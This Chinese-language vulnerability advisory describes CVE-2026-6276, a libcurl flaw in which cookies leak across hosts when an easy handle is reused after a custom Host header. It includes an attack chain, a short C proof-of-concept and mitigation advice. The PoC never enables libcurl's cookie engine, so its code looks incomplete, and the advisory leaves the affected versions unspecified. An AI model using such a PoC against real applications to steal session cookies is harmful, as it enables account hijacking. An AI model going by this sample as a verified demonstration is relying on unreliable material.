IPBUF安全漏洞报告
English
CVE-2026-6276 CVSS 7.5 高危

CVE-2026-6276 libcurl Host头处理不当导致Cookie泄露漏洞

披露日期: 2026-05-13
来源: 2499f714-1537-4658-8207-48ae4bb9eae9

漏洞信息

漏洞编号
CVE-2026-6276
漏洞类型
Cookie泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
libcurl

相关标签

信息泄露Cookie泄露libcurlCVE-2026-6276高危

漏洞概述

CVE-2026-6276 是 libcurl 库中存在的一个高危安全漏洞。该漏洞的成因在于 libcurl 在复用连接句柄处理 HTTP 请求时,未能正确清除之前的上下文状态。具体而言,当开发者在同一个 easy handle 上第一次发起请求时设置了自定义的 `Host:` 头部,随后在第二次请求中未设置该头部,libcurl 会错误地保留并使用第一次请求中的过时信息。这种逻辑缺陷导致本应属于第一个主机的 Cookie 被错误地附加在发送给第二个主机的请求中,从而引发敏感信息泄露。攻击者可利用此缺陷在特定场景下窃取用户的会话 Cookie,进而可能接管用户账户,对数据机密性构成严重威胁。

技术细节

该漏洞的核心机制在于 libcurl 内部对连接句柄和头部缓存的处理逻辑。当开发者复用同一个 easy handle 发起多个 HTTP 请求时,libcurl 内部状态机可能会保留某些上下文信息。在漏洞触发场景中,第一个请求显式通过 `CURLOPT_HTTPHEADER` 设置了 `Host` 头部,覆盖了默认从 URL 解析出的主机名,同时可能接收了服务器设置的 Cookie。当释放该头部设置并发起第二个请求到不同目标时,libcurl 未能正确重置与 Cookie 关联的主机校验逻辑。由于 Cookie 通常绑定到特定的 Domain 和 Path,libcurl 应当验证请求的目标主机是否与 Cookie 的属性匹配。然而,由于状态残留,libcurl 错误地认为第二次请求的目标仍然匹配前一个请求的 Cookie 属性,或者是直接将缓存的 Cookie 头部字段附加到了新的请求中,未进行严格的主机一致性校验。这导致跨域 Cookie 泄露。攻击者若能控制请求的流向或处于中间人位置,即可截获这些泄露的 Cookie,进而劫持用户会话。

攻击链分析

STEP 1
步骤1
攻击者诱导应用程序向目标A发起请求,并设置自定义Host头部。
STEP 2
步骤2
目标A返回并设置Cookie,应用程序的libcurl句柄保存该状态。
STEP 3
步骤3
应用程序复用同一句柄向目标B发起请求,未设置自定义Host头部。
STEP 4
步骤4
libcurl错误地将目标A的Cookie包含在发往目标B的请求中。
STEP 5
步骤5
目标B接收到泄露的Cookie,攻击者利用该信息进行会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_ALL); curl = curl_easy_init(); if(curl) { // Step 1: First request to Host A with custom Host header curl_easy_setopt(curl, CURLOPT_URL, "http://host-a.com/login"); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Host: malicious-host.com"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); // Assume the server sets a cookie for 'malicious-host.com' res = curl_easy_perform(curl); // Clear headers for the next request context (simulating the bug scenario) curl_slist_free_all(headers); headers = NULL; // Step 2: Second request to Host B without custom Host header // Vulnerability: Cookies from the first request (associated with the custom Host) // are leaked to this new request due to stale handle state. curl_easy_setopt(curl, CURLOPT_URL, "http://host-b.com/data"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, NULL); // No custom host header here // The server at host-b.com receives cookies meant for malicious-host.com res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res)); curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }

影响范围

libcurl (具体受影响版本请参考官方安全通告)

防御指南

临时缓解措施
在复用 CURL easy handle 发起新的请求前,务必显式调用 `curl_easy_reset()` 或确保所有自定义选项(特别是 Host 头部和 Cookie 状态)已被正确清除和重置,以防止状态污染导致的信息泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表